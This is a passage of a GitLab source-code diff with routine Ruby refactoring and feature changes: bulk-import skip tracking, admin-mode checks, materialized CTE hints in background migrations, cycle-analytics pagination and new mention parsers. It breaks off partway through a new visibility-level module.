@@ -34,7 +39,7 @@ module BulkImports
info(message: 'Pipeline finished')
rescue MarkedAsFailedError
- log_skip
+ skip!('Skipping pipeline due to failed entity')
end
private # rubocop:disable Lint/UselessAccessModifier
@@ -46,7 +51,11 @@ module BulkImports
yield
rescue MarkedAsFailedError
- log_skip(step => class_name)
+ skip!(
+ 'Skipping pipeline due to failed entity',
+ pipeline_step: step,
+ step_class: class_name
+ )
rescue => e
log_import_failure(e, step)
@@ -61,14 +70,21 @@ module BulkImports
end
end
+ def after_run(extracted_data)
+ run if extracted_data.has_next_page?
+ end
+
def mark_as_failed
warn(message: 'Pipeline failed')
context.entity.fail_op!
+ tracker.fail_op!
end
- def log_skip(extra = {})
- info({ message: 'Skipping due to failed pipeline status' }.merge(extra))
+ def skip!(message, extra = {})
+ warn({ message: message }.merge(extra))
+
+ tracker.skip!
end
def log_import_failure(exception, step)
diff --git a/lib/constraints/admin_constrainer.rb b/lib/constraints/admin_constrainer.rb
index 59c855a1b73..2f32cc7ad91 100644
--- a/lib/constraints/admin_constrainer.rb
+++ b/lib/constraints/admin_constrainer.rb
@@ -3,7 +3,7 @@
module Constraints
class AdminConstrainer
def matches?(request)
- if Feature.enabled?(:user_mode_in_session)
+ if Gitlab::CurrentSettings.admin_mode
admin_mode_enabled?(request)
else
user_is_admin?(request)
diff --git a/lib/container_registry/config.rb b/lib/container_registry/config.rb
index 40dd92befd2..aafa9b1c182 100644
--- a/lib/container_registry/config.rb
+++ b/lib/container_registry/config.rb
@@ -5,7 +5,8 @@ module ContainerRegistry
attr_reader :tag, :blob, :data
def initialize(tag, blob)
- @tag, @blob = tag, blob
+ @tag = tag
+ @blob = blob
@data = Gitlab::Json.parse(blob.data)
end
diff --git a/lib/container_registry/tag.rb b/lib/container_registry/tag.rb
index 09c0aa66a0d..614b1b5e6c6 100644
--- a/lib/container_registry/tag.rb
+++ b/lib/container_registry/tag.rb
@@ -10,7 +10,8 @@ module ContainerRegistry
delegate :revision, :short_revision, to: :config_blob, allow_nil: true
def initialize(repository, name)
- @repository, @name = repository, name
+ @repository = repository
+ @name = name
end
def valid?
diff --git a/lib/csv_builder.rb b/lib/csv_builder.rb
index 6116009f171..43ceed9519b 100644
--- a/lib/csv_builder.rb
+++ b/lib/csv_builder.rb
@@ -14,7 +14,7 @@
# CsvBuilder.new(@posts, columns).render
#
class CsvBuilder
- DEFAULT_ORDER_BY = 'id'.freeze
+ DEFAULT_ORDER_BY = 'id'
DEFAULT_BATCH_SIZE = 1000
PREFIX_REGEX = /^[=\+\-@;]/.freeze
diff --git a/lib/declarative_policy/preferred_scope.rb b/lib/declarative_policy/preferred_scope.rb
index d653a0ec1e1..9e512086593 100644
--- a/lib/declarative_policy/preferred_scope.rb
+++ b/lib/declarative_policy/preferred_scope.rb
@@ -5,7 +5,8 @@ module DeclarativePolicy
PREFERRED_SCOPE_KEY = :"DeclarativePolicy.preferred_scope"
def with_preferred_scope(scope)
- Thread.current[PREFERRED_SCOPE_KEY], old_scope = scope, Thread.current[PREFERRED_SCOPE_KEY]
+ old_scope = Thread.current[PREFERRED_SCOPE_KEY]
+ Thread.current[PREFERRED_SCOPE_KEY] = scope
yield
ensure
Thread.current[PREFERRED_SCOPE_KEY] = old_scope
diff --git a/lib/error_tracking/sentry_client/issue.rb b/lib/error_tracking/sentry_client/issue.rb
index 513fb3daabe..bdc567bd859 100644
--- a/lib/error_tracking/sentry_client/issue.rb
+++ b/lib/error_tracking/sentry_client/issue.rb
@@ -113,9 +113,7 @@ module ErrorTracking
uri = URI(url)
uri.path.squeeze!('/')
# Remove trailing slash
- uri = uri.to_s.delete_suffix('/')
-
- uri
+ uri.to_s.delete_suffix('/')
end
def map_to_errors(issues)
diff --git a/lib/feature.rb b/lib/feature.rb
index 7c926b25587..709610b91be 100644
--- a/lib/feature.rb
+++ b/lib/feature.rb
@@ -18,10 +18,6 @@ class Feature
superclass.table_name = 'feature_gates'
end
- class ActiveSupportCacheStoreAdapter < Flipper::Adapters::ActiveSupportCacheStore
- # overrides methods in EE
- end
-
InvalidFeatureFlagError = Class.new(Exception) # rubocop:disable Lint/InheritException
class << self
diff --git a/lib/feature/active_support_cache_store_adapter.rb b/lib/feature/active_support_cache_store_adapter.rb
new file mode 100644
index 00000000000..ae2d623abe1
--- /dev/null
+++ b/lib/feature/active_support_cache_store_adapter.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+# rubocop:disable Gitlab/NamespacedClass
+# This class was already nested this way before moving to a separate file
+class Feature
+ class ActiveSupportCacheStoreAdapter < Flipper::Adapters::ActiveSupportCacheStore
+ def enable(feature, gate, thing)
+ result = @adapter.enable(feature, gate, thing)
+ @cache.write(key_for(feature.key), @adapter.get(feature), @write_options)
+ result
+ end
+
+ def disable(feature, gate, thing)
+ result = @adapter.disable(feature, gate, thing)
+ @cache.write(key_for(feature.key), @adapter.get(feature), @write_options)
+ result
+ end
+
+ def remove(feature)
+ result = @adapter.remove(feature)
+ @cache.delete(FeaturesKey)
+ @cache.write(key_for(feature.key), {}, @write_options)
+ result
+ end
+ end
+end
+# rubocop:disable Gitlab/NamespacedClass
diff --git a/lib/file_size_validator.rb b/lib/file_size_validator.rb
index 71908d2130f..e9868732172 100644
--- a/lib/file_size_validator.rb
+++ b/lib/file_size_validator.rb
@@ -11,7 +11,8 @@ class FileSizeValidator < ActiveModel::EachValidator
if range = (options.delete(:in) || options.delete(:within))
raise ArgumentError, ":in and :within must be a Range" unless range.is_a?(Range)
- options[:minimum], options[:maximum] = range.begin, range.end
+ options[:minimum] = range.begin
+ options[:maximum] = range.end
options[:maximum] -= 1 if range.exclude_end?
end
diff --git a/lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb b/lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb
new file mode 100644
index 00000000000..d826c51a73d
--- /dev/null
+++ b/lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'rails/generators'
+require_relative '../usage_metric_definition_generator'
+
+module Gitlab
+ module UsageMetricDefinition
+ class RedisHllGenerator < Rails::Generators::Base
+ desc 'Generates a metric definition .yml file with defaults for Redis HLL.'
+
+ argument :category, type: :string, desc: "Category name"
+ argument :event, type: :string, desc: "Event name"
+
+ def create_metrics
+ Gitlab::UsageMetricDefinitionGenerator.start(["#{key_path}_weekly", '--dir', '7d'])
+ Gitlab::UsageMetricDefinitionGenerator.start(["#{key_path}_monthly", '--dir', '28d'])
+ end
+
+ private
+
+ def key_path
+ "redis_hll_counters.#{category}.#{event}"
+ end
+ end
+ end
+end
diff --git a/lib/generators/gitlab/usage_metric_definition_generator.rb b/lib/generators/gitlab/usage_metric_definition_generator.rb
index 7a01050ed0c..cadc319a212 100644
--- a/lib/generators/gitlab/usage_metric_definition_generator.rb
+++ b/lib/generators/gitlab/usage_metric_definition_generator.rb
@@ -5,6 +5,11 @@ require 'rails/generators'
module Gitlab
class UsageMetricDefinitionGenerator < Rails::Generators::Base
Directory = Struct.new(:name, :time_frame, :value_type) do
+ def initialize(...)
+ super
+ freeze
+ end
+
def match?(str)
(name == str || time_frame == str) && str != 'none'
end
@@ -60,9 +65,7 @@ module Gitlab
private
def metric_name_suggestion
- return unless Feature.enabled?(:product_intelligence_metrics_names_suggestions, default_enabled: :yaml)
-
- "\nname: #{Usage::Metrics::NamesSuggestions::Generator.generate(key_path)}"
+ "\nname: \"#{Usage::Metrics::NamesSuggestions::Generator.generate(key_path)}\""
end
def file_path
@@ -101,7 +104,7 @@ module Gitlab
end
def metric_definitions
- @definitions ||= Gitlab::Usage::MetricDefinition.definitions
+ @definitions ||= Gitlab::Usage::MetricDefinition.definitions(skip_validation: true)
end
def metric_definition_exists?
diff --git a/lib/gitlab.rb b/lib/gitlab.rb
index 11ecfb951aa..ddf08c8dc20 100644
--- a/lib/gitlab.rb
+++ b/lib/gitlab.rb
@@ -108,10 +108,21 @@ module Gitlab
!%w[true 1].include?(ENV['FOSS_ONLY'].to_s)
end
+ def self.jh?
+ @is_jh ||=
+ ee? &&
+ root.join('jh').exist? &&
+ !%w[true 1].include?(ENV['EE_ONLY'].to_s)
+ end
+
def self.ee
yield if ee?
end
+ def self.jh
+ yield if jh?
+ end
+
def self.http_proxy_env?
HTTP_PROXY_ENV_VARS.any? { |name| ENV[name] }
end
diff --git a/lib/gitlab/alert_management/payload/base.rb b/lib/gitlab/alert_management/payload/base.rb
index c8b8d6c259d..786c5bf675b 100644
--- a/lib/gitlab/alert_management/payload/base.rb
+++ b/lib/gitlab/alert_management/payload/base.rb
@@ -132,7 +132,7 @@ module Gitlab
EnvironmentsFinder
.new(project, nil, { name: environment_name })
- .find
+ .execute
.first
end
end
diff --git a/lib/gitlab/analytics/cycle_analytics/records_fetcher.rb b/lib/gitlab/analytics/cycle_analytics/records_fetcher.rb
index 178ebe0d4d4..b4752ed9e5b 100644
--- a/lib/gitlab/analytics/cycle_analytics/records_fetcher.rb
+++ b/lib/gitlab/analytics/cycle_analytics/records_fetcher.rb
@@ -31,14 +31,34 @@ module Gitlab
@params = params
@sort = params[:sort] || :end_event
@direction = params[:direction] || :desc
+ @page = params[:page] || 1
+ @per_page = MAX_RECORDS
end
+ # rubocop: disable CodeReuse/ActiveRecord
def serialized_records
strong_memoize(:serialized_records) do
# special case (legacy): 'Test' and 'Staging' stages should show Ci::Build records
if default_test_stage? || default_staging_stage?
+ ci_build_join = mr_metrics_table
+ .join(build_table)
+ .on(mr_metrics_table[:pipeline_id].eq(build_table[:commit_id]))
+ .join_sources
+
+ records = ordered_and_limited_query
+ .joins(ci_build_join)
+ .select(build_table[:id], *time_columns)
+
+ yield records if block_given?
+ ci_build_records = preload_ci_build_associations(records)
+
AnalyticsBuildSerializer.new.represent(ci_build_records.map { |e| e['build'] })
else
+ records = ordered_and_limited_query.select(*columns, *time_columns)
+
+ yield records if block_given?
+ records = preload_associations(records)
+
records.map do |record|
project = record.project
attributes = record.attributes.merge({
@@ -51,10 +71,11 @@ module Gitlab
end
end
end
+ # rubocop: enable CodeReuse/ActiveRecord
private
- attr_reader :stage, :query, :params, :sort, :direction
+ attr_reader :stage, :query, :params, :sort, :direction, :page, :per_page
def columns
MAPPINGS.fetch(subject_class).fetch(:columns_for_select).map do |column_name|
@@ -74,41 +95,32 @@ module Gitlab
MAPPINGS.fetch(subject_class).fetch(:serializer_class).new
end
- # Loading Ci::Build records instead of MergeRequest records
# rubocop: disable CodeReuse/ActiveRecord
- def ci_build_records
- ci_build_join = mr_metrics_table
- .join(build_table)
- .on(mr_metrics_table[:pipeline_id].eq(build_table[:commit_id]))
- .join_sources
-
- q = ordered_and_limited_query
- .joins(ci_build_join)
- .select(build_table[:id], *time_columns)
-
- results = execute_query(q).to_a
+ def preload_ci_build_associations(records)
+ results = records.map(&:attributes)
Gitlab::CycleAnalytics::Updater.update!(results, from: 'id', to: 'build', klass: ::Ci::Build.includes({ project: [:namespace], user: [], pipeline: [] }))
end
+ # rubocop: enable CodeReuse/ActiveRecord
def ordered_and_limited_query
- order_by(query, sort, direction, columns).limit(MAX_RECORDS)
+ strong_memoize(:ordered_and_limited_query) do
+ order_by(query, sort, direction, columns).page(page).per(per_page).without_count
+ end
end
- def records
- results = ordered_and_limited_query
- .select(*columns, *time_columns)
-
+ # rubocop: disable CodeReuse/ActiveRecord
+ def preload_associations(records)
# using preloader instead of includes to avoid AR generating a large column list
ActiveRecord::Associations::Preloader.new.preload(
- results,
+ records,
MAPPINGS.fetch(subject_class).fetch(:includes_for_query)
)
- results
+ records
end
- # rubocop: enable CodeReuse/ActiveRecord
+ # rubocop: enable CodeReuse/ActiveRecord
def time_columns
[
stage.start_event.timestamp_projection.as('start_event_timestamp'),
diff --git a/lib/gitlab/analytics/unique_visits.rb b/lib/gitlab/analytics/unique_visits.rb
index e367d33d743..723486231b1 100644
--- a/lib/gitlab/analytics/unique_visits.rb
+++ b/lib/gitlab/analytics/unique_visits.rb
@@ -3,8 +3,8 @@
module Gitlab
module Analytics
class UniqueVisits
- def track_visit(visitor_id, target_id, time = Time.zone.now)
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(target_id, values: visitor_id, time: time)
+ def track_visit(*args, **kwargs)
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(*args, **kwargs)
end
# Returns number of unique visitors for given targets in given time frame
diff --git a/lib/gitlab/application_context.rb b/lib/gitlab/application_context.rb
index a75da3a682b..ceda82cb6f6 100644
--- a/lib/gitlab/application_context.rb
+++ b/lib/gitlab/application_context.rb
@@ -8,6 +8,9 @@ module Gitlab
Attribute = Struct.new(:name, :type)
+ LOG_KEY = Labkit::Context::LOG_KEY
+ KNOWN_KEYS = Labkit::Context::KNOWN_KEYS
+
APPLICATION_ATTRIBUTES = [
Attribute.new(:project, Project),
Attribute.new(:namespace, Namespace),
@@ -24,6 +27,10 @@ module Gitlab
application_context.use(&block)
end
+ def self.with_raw_context(attributes = {}, &block)
+ Labkit::Context.with_context(attributes, &block)
+ end
+
def self.push(args)
application_context = new(**args)
Labkit::Context.push(application_context.to_lazy_hash)
diff --git a/lib/gitlab/auth/auth_finders.rb b/lib/gitlab/auth/auth_finders.rb
index 4c6254c9e69..6f6ac79c16b 100644
--- a/lib/gitlab/auth/auth_finders.rb
+++ b/lib/gitlab/auth/auth_finders.rb
@@ -24,9 +24,9 @@ module Gitlab
PRIVATE_TOKEN_HEADER = 'HTTP_PRIVATE_TOKEN'
PRIVATE_TOKEN_PARAM = :private_token
- JOB_TOKEN_HEADER = 'HTTP_JOB_TOKEN'.freeze
+ JOB_TOKEN_HEADER = 'HTTP_JOB_TOKEN'
JOB_TOKEN_PARAM = :job_token
- DEPLOY_TOKEN_HEADER = 'HTTP_DEPLOY_TOKEN'.freeze
+ DEPLOY_TOKEN_HEADER = 'HTTP_DEPLOY_TOKEN'
RUNNER_TOKEN_PARAM = :token
RUNNER_JOB_TOKEN_PARAM = :token
diff --git a/lib/gitlab/auth/ldap/adapter.rb b/lib/gitlab/auth/ldap/adapter.rb
index b7bb61f0677..7f85d3b1cd3 100644
--- a/lib/gitlab/auth/ldap/adapter.rb
+++ b/lib/gitlab/auth/ldap/adapter.rb
@@ -5,7 +5,7 @@ module Gitlab
module Ldap
class Adapter
SEARCH_RETRY_FACTOR = [1, 1, 2, 3].freeze
- MAX_SEARCH_RETRIES = Rails.env.test? ? 1 : SEARCH_RETRY_FACTOR.size.freeze
+ MAX_SEARCH_RETRIES = Rails.env.test? ? 1 : SEARCH_RETRY_FACTOR.size
attr_reader :provider, :ldap
diff --git a/lib/gitlab/auth/saml/origin_validator.rb b/lib/gitlab/auth/saml/origin_validator.rb
index 4ecc688888f..ff0d25314f7 100644
--- a/lib/gitlab/auth/saml/origin_validator.rb
+++ b/lib/gitlab/auth/saml/origin_validator.rb
@@ -4,7 +4,7 @@ module Gitlab
module Auth
module Saml
class OriginValidator
- AUTH_REQUEST_SESSION_KEY = "last_authn_request_id".freeze
+ AUTH_REQUEST_SESSION_KEY = "last_authn_request_id"
def initialize(session)
@session = session || {}
diff --git a/lib/gitlab/background_migration/backfill_design_internal_ids.rb b/lib/gitlab/background_migration/backfill_design_internal_ids.rb
index 553571d5d00..6d1df95c66d 100644
--- a/lib/gitlab/background_migration/backfill_design_internal_ids.rb
+++ b/lib/gitlab/background_migration/backfill_design_internal_ids.rb
@@ -97,13 +97,13 @@ module Gitlab
ActiveRecord::Base.connection.execute <<~SQL
WITH
- starting_iids(project_id, iid) as (
+ starting_iids(project_id, iid) as #{Gitlab::Database::AsWithMaterialized.materialized_if_supported}(
SELECT project_id, MAX(COALESCE(iid, 0))
FROM #{table}
WHERE project_id BETWEEN #{start_id} AND #{end_id}
GROUP BY project_id
),
- with_calculated_iid(id, iid) as (
+ with_calculated_iid(id, iid) as #{Gitlab::Database::AsWithMaterialized.materialized_if_supported}(
SELECT design.id,
init.iid + ROW_NUMBER() OVER (PARTITION BY design.project_id ORDER BY design.id ASC)
FROM #{table} as design, starting_iids as init
diff --git a/lib/gitlab/background_migration/backfill_project_updated_at_after_repository_storage_move.rb b/lib/gitlab/background_migration/backfill_project_updated_at_after_repository_storage_move.rb
index 7484027a0fa..030dfd2d99b 100644
--- a/lib/gitlab/background_migration/backfill_project_updated_at_after_repository_storage_move.rb
+++ b/lib/gitlab/background_migration/backfill_project_updated_at_after_repository_storage_move.rb
@@ -8,7 +8,7 @@ module Gitlab
updated_repository_storages = Projects::RepositoryStorageMove.select("project_id, MAX(updated_at) as updated_at").where(project_id: project_ids).group(:project_id)
Project.connection.execute <<-SQL
- WITH repository_storage_cte as (
+ WITH repository_storage_cte as #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
#{updated_repository_storages.to_sql}
)
UPDATE projects
diff --git a/lib/gitlab/background_migration/copy_column_using_background_migration_job.rb b/lib/gitlab/background_migration/copy_column_using_background_migration_job.rb
index 60682bd2ec1..b89ea7dc250 100644
--- a/lib/gitlab/background_migration/copy_column_using_background_migration_job.rb
+++ b/lib/gitlab/background_migration/copy_column_using_background_migration_job.rb
@@ -34,12 +34,18 @@ module Gitlab
parent_batch_relation = relation_scoped_to_range(batch_table, batch_column, start_id, end_id)
parent_batch_relation.each_batch(column: batch_column, of: sub_batch_size) do |sub_batch|
- sub_batch.update_all("#{quoted_copy_to}=#{quoted_copy_from}")
+ batch_metrics.time_operation(:update_all) do
+ sub_batch.update_all("#{quoted_copy_to}=#{quoted_copy_from}")
+ end
sleep(PAUSE_SECONDS)
end
end
+ def batch_metrics
+ @batch_metrics ||= Gitlab::Database::BackgroundMigration::BatchMetrics.new
+ end
+
private
def connection
diff --git a/lib/gitlab/background_migration/copy_merge_request_target_project_to_merge_request_metrics.rb b/lib/gitlab/background_migration/copy_merge_request_target_project_to_merge_request_metrics.rb
index 6014ccc12eb..691bdb457d7 100644
--- a/lib/gitlab/background_migration/copy_merge_request_target_project_to_merge_request_metrics.rb
+++ b/lib/gitlab/background_migration/copy_merge_request_target_project_to_merge_request_metrics.rb
@@ -8,7 +8,7 @@ module Gitlab
def perform(start_id, stop_id)
ActiveRecord::Base.connection.execute <<~SQL
- WITH merge_requests_batch AS (
+ WITH merge_requests_batch AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT id, target_project_id
FROM merge_requests WHERE id BETWEEN #{Integer(start_id)} AND #{Integer(stop_id)}
)
diff --git a/lib/gitlab/background_migration/fix_projects_without_project_feature.rb b/lib/gitlab/background_migration/fix_projects_without_project_feature.rb
index 68665db522e..83c01afa432 100644
--- a/lib/gitlab/background_migration/fix_projects_without_project_feature.rb
+++ b/lib/gitlab/background_migration/fix_projects_without_project_feature.rb
@@ -22,7 +22,7 @@ module Gitlab
def sql(from_id, to_id)
<<~SQL
- WITH created_records AS (
+ WITH created_records AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
INSERT INTO project_features (
project_id,
merge_requests_access_level,
diff --git a/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb b/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb
index e750b8ca374..b8e4562b3bf 100644
--- a/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb
+++ b/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb
@@ -136,7 +136,7 @@ module Gitlab
# there is no uniq constraint on project_id and type pair, which prevents us from using ON CONFLICT
def create_sql(from_id, to_id)
<<~SQL
- WITH created_records AS (
+ WITH created_records AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
INSERT INTO services (project_id, #{DEFAULTS.keys.map { |key| %("#{key}")}.join(',')}, created_at, updated_at)
#{select_insert_values_sql(from_id, to_id)}
RETURNING *
@@ -149,7 +149,7 @@ module Gitlab
# there is no uniq constraint on project_id and type pair, which prevents us from using ON CONFLICT
def update_sql(from_id, to_id)
<<~SQL
- WITH updated_records AS (
+ WITH updated_records AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
UPDATE services SET active = TRUE
WHERE services.project_id BETWEEN #{Integer(from_id)} AND #{Integer(to_id)} AND services.properties = '{}' AND services.type = '#{Migratable::PrometheusService.type}'
AND #{group_cluster_condition(from_id, to_id)} AND services.active = FALSE
diff --git a/lib/gitlab/background_migration/fix_user_namespace_names.rb b/lib/gitlab/background_migration/fix_user_namespace_names.rb
index d767cbfd8f5..cd5b4ab103d 100644
--- a/lib/gitlab/background_migration/fix_user_namespace_names.rb
+++ b/lib/gitlab/background_migration/fix_user_namespace_names.rb
@@ -14,7 +14,7 @@ module Gitlab
def fix_namespace_names(from_id, to_id)
ActiveRecord::Base.connection.execute <<~UPDATE_NAMESPACES
- WITH namespaces_to_update AS (
+ WITH namespaces_to_update AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT
namespaces.id,
users.name AS correct_name
@@ -39,7 +39,7 @@ module Gitlab
def fix_namespace_route_names(from_id, to_id)
ActiveRecord::Base.connection.execute <<~ROUTES_UPDATE
- WITH routes_to_update AS (
+ WITH routes_to_update AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT
routes.id,
users.name AS correct_name
diff --git a/lib/gitlab/background_migration/fix_user_project_route_names.rb b/lib/gitlab/background_migration/fix_user_project_route_names.rb
index 6b99685fd68..e534f2449aa 100644
--- a/lib/gitlab/background_migration/fix_user_project_route_names.rb
+++ b/lib/gitlab/background_migration/fix_user_project_route_names.rb
@@ -8,7 +8,7 @@ module Gitlab
class FixUserProjectRouteNames
def perform(from_id, to_id)
ActiveRecord::Base.connection.execute <<~ROUTES_UPDATE
- WITH routes_to_update AS (
+ WITH routes_to_update AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
SELECT
routes.id,
users.name || ' / ' || projects.name AS correct_name
diff --git a/lib/gitlab/background_migration/migrate_pages_to_zip_storage.rb b/lib/gitlab/background_migration/migrate_pages_to_zip_storage.rb
new file mode 100644
index 00000000000..b7a912da060
--- /dev/null
+++ b/lib/gitlab/background_migration/migrate_pages_to_zip_storage.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # migrates pages from legacy storage to zip format
+ # we intentionally use application code here because
+ # it has a lot of dependencies including models, carrierwave uploaders and service objects
+ # and copying all or part of this code in the background migration doesn't add much value
+ # see https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54578 for discussion
+ class MigratePagesToZipStorage
+ def perform(start_id, stop_id)
+ ::Pages::MigrateFromLegacyStorageService.new(Gitlab::AppLogger,
+ ignore_invalid_entries: false,
+ mark_projects_as_not_deployed: false)
+ .execute_for_batch(start_id..stop_id)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/move_container_registry_enabled_to_project_feature.rb b/lib/gitlab/background_migration/move_container_registry_enabled_to_project_feature.rb
index 4eaef26c9c6..9ecf53317d0 100644
--- a/lib/gitlab/background_migration/move_container_registry_enabled_to_project_feature.rb
+++ b/lib/gitlab/background_migration/move_container_registry_enabled_to_project_feature.rb
@@ -6,7 +6,7 @@ module Gitlab
# project_features.container_registry_access_level for the projects within
# the given range of ids.
class MoveContainerRegistryEnabledToProjectFeature
- MAX_BATCH_SIZE = 1_000
+ MAX_BATCH_SIZE = 300
module Migratable
# Migration model namespace isolated from application code.
diff --git a/lib/gitlab/background_migration/populate_has_vulnerabilities.rb b/lib/gitlab/background_migration/populate_has_vulnerabilities.rb
index 78140b768fc..28ff2070209 100644
--- a/lib/gitlab/background_migration/populate_has_vulnerabilities.rb
+++ b/lib/gitlab/background_migration/populate_has_vulnerabilities.rb
@@ -8,21 +8,23 @@ module Gitlab
class ProjectSetting < ActiveRecord::Base # rubocop:disable Style/Documentation
self.table_name = 'project_settings'
- UPSERT_SQL = <<~SQL
- WITH upsert_data (project_id, has_vulnerabilities, created_at, updated_at) AS (
- SELECT projects.id, true, current_timestamp, current_timestamp FROM projects WHERE projects.id IN (%{project_ids})
- )
- INSERT INTO project_settings
- (project_id, has_vulnerabilities, created_at, updated_at)
- (SELECT * FROM upsert_data)
- ON CONFLICT (project_id)
- DO UPDATE SET
- has_vulnerabilities = true,
- updated_at = EXCLUDED.updated_at
- SQL
-
def self.upsert_for(project_ids)
- connection.execute(UPSERT_SQL % { project_ids: project_ids.join(', ') })
+ connection.execute(upsert_sql % { project_ids: project_ids.join(', ') })
+ end
+
+ def self.upsert_sql
+ <<~SQL
+ WITH upsert_data (project_id, has_vulnerabilities, created_at, updated_at) AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
+ SELECT projects.id, true, current_timestamp, current_timestamp FROM projects WHERE projects.id IN (%{project_ids})
+ )
+ INSERT INTO project_settings
+ (project_id, has_vulnerabilities, created_at, updated_at)
+ (SELECT * FROM upsert_data)
+ ON CONFLICT (project_id)
+ DO UPDATE SET
+ has_vulnerabilities = true,
+ updated_at = EXCLUDED.updated_at
+ SQL
end
end
diff --git a/lib/gitlab/background_migration/populate_merge_request_assignees_table.rb b/lib/gitlab/background_migration/populate_merge_request_assignees_table.rb
index eb4bc0aaf28..28cc4a5e3fa 100644
--- a/lib/gitlab/background_migration/populate_merge_request_assignees_table.rb
+++ b/lib/gitlab/background_migration/populate_merge_request_assignees_table.rb
@@ -11,7 +11,7 @@ module Gitlab
MergeRequest
.where(merge_request_assignees_not_exists_clause)
.where(id: from_id..to_id)
- .where('assignee_id IS NOT NULL')
+ .where.not(assignee_id: nil)
.select(:id, :assignee_id)
.to_sql
diff --git a/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid.rb b/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid.rb
index 7b18e617c81..888a12f2330 100644
--- a/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid.rb
+++ b/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid.rb
@@ -32,7 +32,7 @@ class Gitlab::BackgroundMigration::RecalculateVulnerabilitiesOccurrencesUuid
}.freeze
NAMESPACE_REGEX = /(\h{8})-(\h{4})-(\h{4})-(\h{4})-(\h{4})(\h{8})/.freeze
- PACK_PATTERN = "NnnnnN".freeze
+ PACK_PATTERN = "NnnnnN"
def self.call(value)
Digest::UUID.uuid_v5(namespace_id, value)
diff --git a/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_project_parser.rb b/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_project_parser.rb
new file mode 100644
index 00000000000..5930d65bc2c
--- /dev/null
+++ b/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_project_parser.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ module UserMentions
+ module Lib
+ module Banzai
+ module ReferenceParser
+ # isolated Banzai::ReferenceParser::MentionedGroupParser
+ class IsolatedMentionedProjectParser < ::Banzai::ReferenceParser::MentionedProjectParser
+ extend ::Gitlab::Utils::Override
+
+ self.reference_type = :user
+
+ override :references_relation
+ def references_relation
+ ::Gitlab::BackgroundMigration::UserMentions::Models::Project
+ end
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_user_parser.rb b/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_user_parser.rb
new file mode 100644
index 00000000000..f5f98517433
--- /dev/null
+++ b/lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_user_parser.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ module UserMentions
+ module Lib
+ module Banzai
+ module ReferenceParser
+ # isolated Banzai::ReferenceParser::MentionedGroupParser
+ class IsolatedMentionedUserParser < ::Banzai::ReferenceParser::MentionedUserParser
+ extend ::Gitlab::Utils::Override
+
+ self.reference_type = :user
+
+ override :references_relation
+ def references_relation
+ ::Gitlab::BackgroundMigration::UserMentions::Models::User
+ end
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_reference_extractor.rb b/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_reference_extractor.rb
index 1d3a3af81a1..8610129533d 100644
--- a/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_reference_extractor.rb
+++ b/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_reference_extractor.rb
@@ -7,7 +7,7 @@ module Gitlab
module Gitlab
# Extract possible GFM references from an arbitrary String for further processing.
class IsolatedReferenceExtractor < ::Gitlab::ReferenceExtractor
- REFERABLES = %i(isolated_mentioned_group).freeze
+ REFERABLES = %i(isolated_mentioned_group isolated_mentioned_user isolated_mentioned_project).freeze
REFERABLES.each do |type|
define_method("#{type}s") do
diff --git a/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_visibility_level.rb b/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_visibility_level.rb
new file mode 100644
index 00000000000..0334ea1dd08
--- /dev/null
+++ b/lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_visibility_level.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ module UserMentions
+ module Lib
+ module Gitlab
+ # Gitlab::IsolatedVisibilityLevel module
+ #
+ # Define allowed public modes that can be used for
+ # GitLab projects to determine project public mode
+ #
+ module IsolatedVisibilityLevel
+ extend ::ActiveSupport::Concern
+
+ included do
+ scope :public_to_user, -> (user = nil) do
+ where(visibility_level: IsolatedVisibilityLevel.levels_for_user(user))
+ end
+ end
+
+ PRIVATE = 0 unless const_defined?(:PRIVATE)
